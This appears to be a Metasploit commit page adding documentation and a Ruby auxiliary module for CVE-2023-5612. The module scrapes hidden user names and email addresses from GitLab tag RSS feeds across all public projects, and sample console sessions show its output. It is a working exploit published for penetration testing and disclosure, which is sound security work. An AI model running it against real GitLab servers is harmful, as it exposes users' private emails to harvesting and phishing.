Land #18821, Gitlab public email disclosure CVE-2023-5612
This commit is contained in:
commit
e20558ec35
|
@ -0,0 +1,72 @@
|
||||||
|
## Vulnerable Application
|
||||||
|
|
||||||
|
Information disclosure affecting all versions of GitLab
|
||||||
|
before 16.6.6, 16.7 prior to 16.7.4, and 16.8 prior to 16.8.1
|
||||||
|
by sending a GET request to the project URI and appending "-/tags"
|
||||||
|
|
||||||
|
### Docker installation instructions can be found here:
|
||||||
|
|
||||||
|
https://docs.gitlab.com/ee/install/docker.html
|
||||||
|
|
||||||
|
Once installed, create a project. Once the project is
|
||||||
|
created, add a new tag by expanding the Code menu item
|
||||||
|
on the left, then selecting Tags. Then click on the
|
||||||
|
New Tag button in the top right corner.
|
||||||
|
|
||||||
|
## Verification Steps
|
||||||
|
|
||||||
|
1. Install the application
|
||||||
|
1. Start msfconsole
|
||||||
|
1. Do: `use [module path]`
|
||||||
|
1. Do: `set RHOSTS [IP]`
|
||||||
|
1. Do: `run`
|
||||||
|
1. You should receive output with user names and email addresses assocaited with project tags
|
||||||
|
|
||||||
|
## Options
|
||||||
|
|
||||||
|
### TARGETPROJECT
|
||||||
|
|
||||||
|
This will gather information for ALL PUBLICLY ACCESSIBLE PROJECTS. IF you know the specific project you would
|
||||||
|
like to target, you would need to set that here.
|
||||||
|
|
||||||
|
## Scenarios
|
||||||
|
### Scrape all Workspaces/Projects
|
||||||
|
```
|
||||||
|
msf6 > use auxiliary/gather/gitlab_tags_rss_info_disclosure
|
||||||
|
msf6 auxiliary(gather/gitlab_tags_rss_info_disclosure) > set RHOSTS 127.0.0.1
|
||||||
|
RHOSTS => 127.0.0.1
|
||||||
|
msf6 auxiliary(gather/gitlab_tags_rss_info_disclosure) > run
|
||||||
|
[*] Running module against 127.0.0.1
|
||||||
|
|
||||||
|
[+] [2024.02.09-11:18:23] Scraping ALL projects...
|
||||||
|
[*] [2024.02.09-11:18:23] Check RSS tags feed for: Workspace1/Project1
|
||||||
|
[+] [2024.02.09-11:18:23] Output saved to /root/.msf4/loot/20240209111823_default_127.0.0.1_gitlab.RSS.info__010524.xml
|
||||||
|
[+] [2024.02.09-11:18:23] name: john doe
|
||||||
|
[+] [2024.02.09-11:18:23] e-mail: johndoe@example.com
|
||||||
|
[*] [2024.02.09-11:18:23] Check RSS tags feed for: Workspace1/Project2
|
||||||
|
[+] [2024.02.09-11:18:23] Output saved to /root/.msf4/loot/20240209111823_default_127.0.0.1_gitlab.RSS.info__822263.xml
|
||||||
|
[+] [2024.02.09-11:18:23] name: janedoe
|
||||||
|
[+] [2024.02.09-11:18:23] e-mail: janedoe@example.com
|
||||||
|
[*] [2024.02.09-11:18:23] Check RSS tags feed for: ws2/proj1
|
||||||
|
[-] [2024.02.09-11:18:23] No tags or authors found
|
||||||
|
[*] [2024.02.09-11:18:23] Check RSS tags feed for: ws3/proj1
|
||||||
|
[-] [2024.02.09-11:18:23] No tags or authors found
|
||||||
|
[*] [2024.02.09-11:18:23] Check RSS tags feed for: ws3/proj2
|
||||||
|
[-] [2024.02.09-11:18:23] No tags or authors found
|
||||||
|
[*] Auxiliary module execution completed
|
||||||
|
```
|
||||||
|
### Specify Project
|
||||||
|
```
|
||||||
|
msf6 > use auxiliary/gather/gitlab_tags_rss_info_disclosure
|
||||||
|
msf6 auxiliary(gather/gitlab_tags_rss_info_disclosure) > set RHOSTS 127.0.0.1
|
||||||
|
msf6 auxiliary(gather/gitlab_tags_rss_info_disclosure) > set TARGETPROJECT Workspace1/Project1
|
||||||
|
TARGETPROJECT => Workspace1/Project1
|
||||||
|
msf6 auxiliary(gather/gitlab_tags_rss_info_disclosure) > run
|
||||||
|
[*] Running module against 127.0.0.1
|
||||||
|
|
||||||
|
[*] [2024.02.09-11:44:43] Check RSS tags feed for: Workspace1/Project1
|
||||||
|
[+] [2024.02.09-11:44:43] Output saved to /root/.msf4/loot/20240209114443_default_127.0.0.1_gitlab.RSS.info__390983.xml
|
||||||
|
[+] [2024.02.09-11:44:43] name: janedoe
|
||||||
|
[+] [2024.02.09-11:44:43] e-mail: janedoe@example.com
|
||||||
|
[*] Auxiliary module execution completed
|
||||||
|
```
|
|
@ -0,0 +1,127 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: https://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Auxiliary
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(
|
||||||
|
update_info(
|
||||||
|
info,
|
||||||
|
'Name' => 'GitLab Tags RSS feed email disclosure',
|
||||||
|
'Description' => %q{
|
||||||
|
An issue has been discovered in GitLab affecting all versions
|
||||||
|
before 16.6.6, 16.7 prior to 16.7.4, and 16.8 prior to 16.8.1.
|
||||||
|
It is possible to read the user email address via tags feed
|
||||||
|
although the visibility in the user profile has been disabled.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' => [
|
||||||
|
'n00bhaxor', # msf module
|
||||||
|
'erruquill' # HackerOne Bug Bounty, analysis
|
||||||
|
],
|
||||||
|
'References' => [
|
||||||
|
[ 'URL', 'https://about.gitlab.com/releases/2024/01/25/critical-security-release-gitlab-16-8-1-released/' ],
|
||||||
|
[ 'URL', 'https://hackerone.com/reports/2208790'],
|
||||||
|
[ 'CVE', '2023-5612']
|
||||||
|
],
|
||||||
|
'DisclosureDate' => '2024-01-25',
|
||||||
|
'Notes' => {
|
||||||
|
'Stability' => [CRASH_SAFE],
|
||||||
|
'Reliability' => [],
|
||||||
|
'SideEffects' => []
|
||||||
|
}
|
||||||
|
)
|
||||||
|
)
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(80),
|
||||||
|
OptString.new('TARGETURI', [ true, 'The URI of the GitLab Application', '/']),
|
||||||
|
OptString.new('TARGETPROJECT', [ false, 'Workspace and project to target', nil])
|
||||||
|
]
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_contents(tags)
|
||||||
|
vprint_status('Check RSS tags feed for: ' + tags)
|
||||||
|
|
||||||
|
# Tag needs to be lower case, so...
|
||||||
|
tags.sub!(%r{^/}, '') if tags.start_with?('/')
|
||||||
|
tags = "#{tags.split('/')[0]}/#{tags.split('/')[1].downcase}"
|
||||||
|
|
||||||
|
res = send_request_cgi(
|
||||||
|
'uri' => normalize_uri(target_uri.path, tags, '-', 'tags'),
|
||||||
|
'method' => 'GET',
|
||||||
|
'vars_get' => { 'format' => 'atom' }
|
||||||
|
)
|
||||||
|
|
||||||
|
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
|
||||||
|
|
||||||
|
if res.code == 200
|
||||||
|
xml_res = res.get_xml_document
|
||||||
|
|
||||||
|
# If we receive a 301 it's probably an issue with workspace case-insensitivty
|
||||||
|
elsif res.code == 301 && res['location']
|
||||||
|
new_uri = URI.parse(res['location']).path
|
||||||
|
res = send_request_cgi(
|
||||||
|
'uri' => normalize_uri(new_uri.to_s),
|
||||||
|
'method' => 'GET', 'vars_get' => { 'format' => 'atom' }
|
||||||
|
)
|
||||||
|
xml_res = res.get_xml_document
|
||||||
|
|
||||||
|
# Error out with an unreachable or any other error code
|
||||||
|
else
|
||||||
|
fail_with(Failure::UnexpectedReply, "#{peer} - Project does not exist or is not public (response code: #{res.code})")
|
||||||
|
end
|
||||||
|
|
||||||
|
# Check to see if there are any tags with authors
|
||||||
|
author_element = 'author'
|
||||||
|
not_found = xml_res.xpath("//xmlns:#{author_element}").empty?
|
||||||
|
if not_found
|
||||||
|
vprint_bad('No tags or authors found')
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
# Initialze an empty set so we can dedupe authors based on email address
|
||||||
|
# This only dedupes within a project, not the entirety of Gitlab,
|
||||||
|
# so forks of projects may show duplicate email addresses.
|
||||||
|
unique_emails = Set.new
|
||||||
|
|
||||||
|
xml_res.xpath('//xmlns:author').each do |authors|
|
||||||
|
email = authors.at_xpath('xmlns:email').text
|
||||||
|
next if unique_emails.include?(email)
|
||||||
|
|
||||||
|
name = authors.at_xpath('xmlns:name').text
|
||||||
|
print_good("name: #{name}")
|
||||||
|
print_good("e-mail: #{email}")
|
||||||
|
unique_emails << email
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def run
|
||||||
|
unless datastore['TARGETPROJECT'].blank?
|
||||||
|
get_contents(datastore['TARGETPROJECT'].to_s)
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
print_good('Scraping ALL projects...')
|
||||||
|
request = {
|
||||||
|
'uri' => normalize_uri(target_uri.path, '/api/v4/projects'),
|
||||||
|
'method' => 'GET', 'vars_get' => {
|
||||||
|
'output_mode' => 'json'
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
res = send_request_cgi(request)
|
||||||
|
|
||||||
|
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
|
||||||
|
fail_with(Failure::UnexpectedReply, "#{peer} - Project list API endpoint unavailable (response code: #{res.code})") unless res.code == 200
|
||||||
|
|
||||||
|
res.get_json_document.each do |entry|
|
||||||
|
tags = entry['path_with_namespace']
|
||||||
|
get_contents(tags)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
Loading…
Reference in New Issue